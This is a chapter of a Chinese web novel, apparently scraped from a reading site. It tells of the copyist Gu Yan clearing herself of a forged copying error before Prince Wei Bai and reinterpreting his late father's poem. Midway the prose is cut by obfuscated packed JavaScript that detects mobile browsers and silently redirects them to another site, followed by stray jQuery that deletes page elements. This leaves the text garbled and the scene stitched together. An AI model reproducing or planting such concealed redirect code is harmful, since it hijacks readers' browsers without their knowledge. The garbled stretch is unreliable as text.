2. 解诗

作品:《逃成阴鸷权臣心尖宠

    顾雁深吸一口气,迅速说道:“书肆只提供普通的石炭墨,墨色暗哑粗糙。我常用老松枝与墨块同研,以松脂入墨,墨色不仅润泽许多,还会沾染松香。其他人不知此法,也懒得费工夫,只加水研墨。将书拿到日光下自能分辨!错字所在的书页墨迹,定然粗糙无光。而我亲笔写的字迹,定会映出光亮!”


    众人面露讶然,纷纷窃语。


    “哎?她不是流民么,怎知这种研墨之法?”


    “哪有会识字抄书的流民,许是家中遇到变故了。”


    “谁知道呢。”


    大家不约而同地看向颖王。


    卫柏面露好奇,竟亲自起身来到窗边,对着日光翻看书页,又捧到鼻下细嗅。片刻,他回头道:“确实如此。”


    屋里骤然像炸开的锅。


    “还真有人仿写错字陷害她啊!”


    “谁干的,也太大胆了!竟敢乱改殿下的诗句!”


    跪在后方的几名佣书人,顿时面色慌乱,大呼冤枉。


    顾雁长长松了口气。


    若非情急想起与他们研墨的区别,她今日就算浑身长嘴,也解释不清了。被赶出东文书肆都是小事,只怕还得送命!到底是谁干的,心肠竟如此歹毒!


    卫柏倚着窗楹,随意翻着书册。


    半晌,他淡然说道:“其实,尔等不必费心弄这些。每人心中都有杆秤,称着文章的斤两。孤的文章不会因为这种品评,就成了公认的神品。但也不会因为某些诋毁,就变得一文不值。”


    程二公子面色红得发黑,像块风干的陈年猪肝。他低头拱手,与众人齐声应道:“臣谨记殿下教诲。”


    顾雁依旧伏拜着,只能听到卫柏说话,不禁暗暗诧异。


    这厮大权独揽,又喜作诗写文。还以为他这种人,就喜欢听臣下吹捧呢。她之前就抄过不少赞颂政令的骈文,全是马屁。一个窃国之贼,被吹成肱骨栋梁。大齐皇帝还活着呢,不知道的,还以为颖王才是皇帝。


    以至于她现在一抄到颖王两字,就反胃想吐,全靠攒钱的信念忍着。


    今日终于见到本人,没想到,他竟然不在乎评价。


    而且,不是说他冷血无情吗?来木樨阁的路上,她都以为肯定要受刑了。没想到他说话挺温和,明明不高兴,面色却不见动怒。


    卫柏翻完了书,默然看着窗外。


    清风摇动枝叶,桂香缠绕楼阁,粼粼碧波荡漾。


    许久,他吁了口气:“晦气,连赏桂的兴致都没了。”


    他卷起手中书册,回头看向屋里跪地的佣书人:“写错字本是小事,无需斤斤计较。但孤很不喜欢,有人用《涧邑行》作刀,来勾心斗角。”他的漆黑瞳眸泛起一抹厌恶之色,又转瞬消失。


    屋里再度寂静。


    涧邑,一座河边小城,先颖王病故之地。


    卫柏的目光彻底冰凉:“孤不想再看见他们。”


    严都尉拱手应道:“末将领命。”他抬手一挥,门外几名宿卫疾步进屋,拎起那些佣书人。那几人都吓得面如土色,连连求饶。


    一名宿卫来到顾雁身边,虽没粗鲁拎她,但也冷冷说道:“娘子,请吧。”


    顾雁心底咯噔一响。


    不想再见他们?是要杀了他们?还是把他们赶出梁城?


    她好端端做错什么了,凭甚要被赶出梁城!她还有重要之事没完成呢!


    天杀的卫柏,果然是混蛋!


    顾雁揪紧衣袖,缓缓站起,迅速想着对策。


    怎么办?怎么办?


    她跟随宿卫慢慢走着,眼看离门口只有三尺远了。今日她一旦踏出这道门,也许就再没法留在梁城,找到母亲和兄长了……


    死就死吧!


    她猛地咬牙,回身疾步上前,再次伏拜:“颖王殿下,请容民女斗胆进言。”


    满座士人皆被她的举动惊住。


    手中拎人的严都尉停下脚步,正欲拔剑阻止她,但见她停步伏拜,又松开了握住腰间剑柄的手。


    卫柏压下瞳中讶异,盯着她:“说。”


    “《涧邑行》之错,对民女而言是被栽赃,实属冤枉。对殿下而言,是孝心蒙尘,被人误解。殿下也许觉得,若先王在天有灵,见到此错会怪罪殿下。但民女斗胆猜测,先王若见殿下长怀以乐,说不定,反倒会抚掌大笑呢。”


    顾雁迅速说完,悄然咽下口中津液,又搓了搓手。她的掌心全是冷汗。


    这一番话,简直石破天惊!


    许多士人,包括程二公子在内,都惊愕地瞪着她说不出话。


    卫柏微微眯眼,眸中闪过寒芒。


    片刻寂静后,屋里爆发出各种惊斥。


    “她疯了吧?!”


    “刚逃过一劫还不知足,突然说什么疯话!”


    程二公子怒道:“你可知自己在说什么!”


    顾雁抿了抿唇,继续不卑不亢说道:“民女佣抄书稿时,曾抄过先王病笃时所写的《西望梁城》。诗中有一句:‘西望高台,遥闻鼓瑟。斯魂归去,当纵慨歌。’”


    她顿了顿,深吸一口气,又道:“民女深为钦佩先王,自知神魂将逝,仍慷慨纵歌。故民女斗胆以为,先王在灵前也许更希望,听到殿下奏乐弹歌来怀念自己,而非俯首忧泣。”


    此言一出,周围众人纷纷倒吸一口气。


    还真是……未曾想过的理解方式……


    一个乐字,被她解成奏乐的乐,而非欢乐的乐。


    但是,先王灵前奏乐唱歌?


    她不是一般疯吧!


    这些士人目瞪口呆,连斥责都说不出来了。


    “民女以为,以先王之豪迈豁达,定不会因此错而误解殿下,或迁怒无辜之人。民女斗胆……叩请殿下宽心!”终于说完了,顾雁双手攒拳,连额上也冒出了冷汗。


    屋内久久寂静。


    程二公子语塞片刻,很快又斥道:“不知天高地厚!以为会写几个字,就敢如此放肆,妄加揣测先王遗诗!”


    那些士人都不敢直视卫柏的脸色了,只拿眼角余光瞄着颖王将作何反应。


    卫柏倚窗而立,深深注视着顾雁。日光倾洒入窗,映着他英挺的侧脸,落下一片暗影。顾雁没抬头,亦察觉到他的沉默,让在座之人都不敢喘气。


    许久,久到她觉得腰酸不已,咚咚乱跳的心脏也快跃出嗓子眼了。卫柏忽然轻轻一笑,转眸看向窗外:“叔仁,送她出园。”


    士人们面面相觑,不知颖王在想什么。


    顾雁听他语气轻快了许多,乱跳的心终于落了回去。听口气,这厮应该不会赶他们出城了吧?


    “遵命。”严都尉颔首应声。


    这时,一阵微风透窗而过,送来浓郁的桂香。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14425951|153715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “等等,再折一枝桂送给……”卫柏顿住,回头望向顾雁,“请教娘子姓名?”


    “民女从小不知父母何在,只被人唤作容娘。”顾雁应得丝滑。


    “容娘,”卫柏低声重复了一遍,又道,“起来吧。”


    顾雁彻底松了口气。


    安全了。


    等她回去,得好好查查今日是谁害她!


    “多谢殿下。”顾雁抬首起身。方才跪了半晌,猛一起身,腰骨深处炸开一股尖锐的疼,她浑身一僵,连忙偻背扶腰。


    疼疼疼……动不了……


    她皱着眉头,用力揉着后腰,痛楚终于缓解些许。再抬头,她才发现,卫柏一直站在窗边注视自己。


    屋里所有人都在看她。


    顾雁面色一窘,忙朝卫柏颔首一礼:“民女告退。”


    他轻轻点头。顾雁转身迈步,但因腰疼,只能慢行。严都尉招手让其他宿卫过来,拎走他原本拎的佣书人,然后走在顾雁身旁,并不催促。


    “叔仁,”背后的卫柏忽然开口。


    严义停步回身,俯首听命。


    “你驾车送容娘回宅。另外,查清此事真相,再报于孤。”


    “是。”


    顾雁倏尔睁大眼,颖王要调查这桩倒霉事了?她忙回头看向卫柏。他已转头望着窗外,手中卷着书册,不知在想什么。


    “谢……”她欲再拜。


    “不必跪了。”卫柏看着窗外摇曳的枝叶说道。


    “……殿下,”顾雁从善如流地站稳,再次颔首一礼。


    卫柏没再说话。


    “请。”严义抬手示意。


    顾雁轻轻点头,跟他走向门外。


    余下一众士人瞠目结舌,目送二人出门。唯独程二公子久久盯着顾雁背影,眼中似要迸出恼恨的火星子。


    ——


    一炷香后。


    宽敞的车厢里,顾雁靠窗而坐,揉着腰,无奈看着身边一丛桂枝。


    这严都尉也是有劲儿,往树下一站,抬手便折断了三尺长、握拳粗的桂枝。方才她上车抱着,枝条被车门挡住都没法进,又才卧放在车里。别人折桂都是细细一枝,拿着闻香。她倒好,抱着这般粗一根,跟挖了棵树似的,拿回去都没地放,看着都发愁。


    不过,桂枝树叶繁茂,金花簇簇,香气填满车厢,她仿佛坐进香海,闻着闻着,腰疼都消减了许多。


    顾雁吁了口气。


    那厮还说晦气,她今日才晦气好么!


    天天伏案抄书,落下腰疼的毛病,早上平白无故被拉去跪了那么久,弄得腰疼复发,烦死了!幸好安然无恙回来了,不耽误与张娘子的约定。


    想到这,顾雁抬声道:“严都尉,劳烦驶往南市的百戏馆。”


    “嗯。”严义扬鞭催马。


    这是颖王的备用车驾,平时放在木樨池园林,有专人照看。眼下驾车之人是神鸮营严都尉,乃颖王身边宿卫营的统领。顾雁坐在车里,只觉浑身都不自在,只好转头看景。


    窗外,一块木牌悬于车顶,随着车轮前行摇晃着。牌上刻有一个古拙苍劲的卫字。


    与颖军军旗上的卫字一样。


    如河砂般沉在心底的往事,忽被猛然掀起,将心脏狠狠一刺。


    顾雁盯着那个卫字,眸中烦躁散尽,只余尘沙翻覆,久久不歇。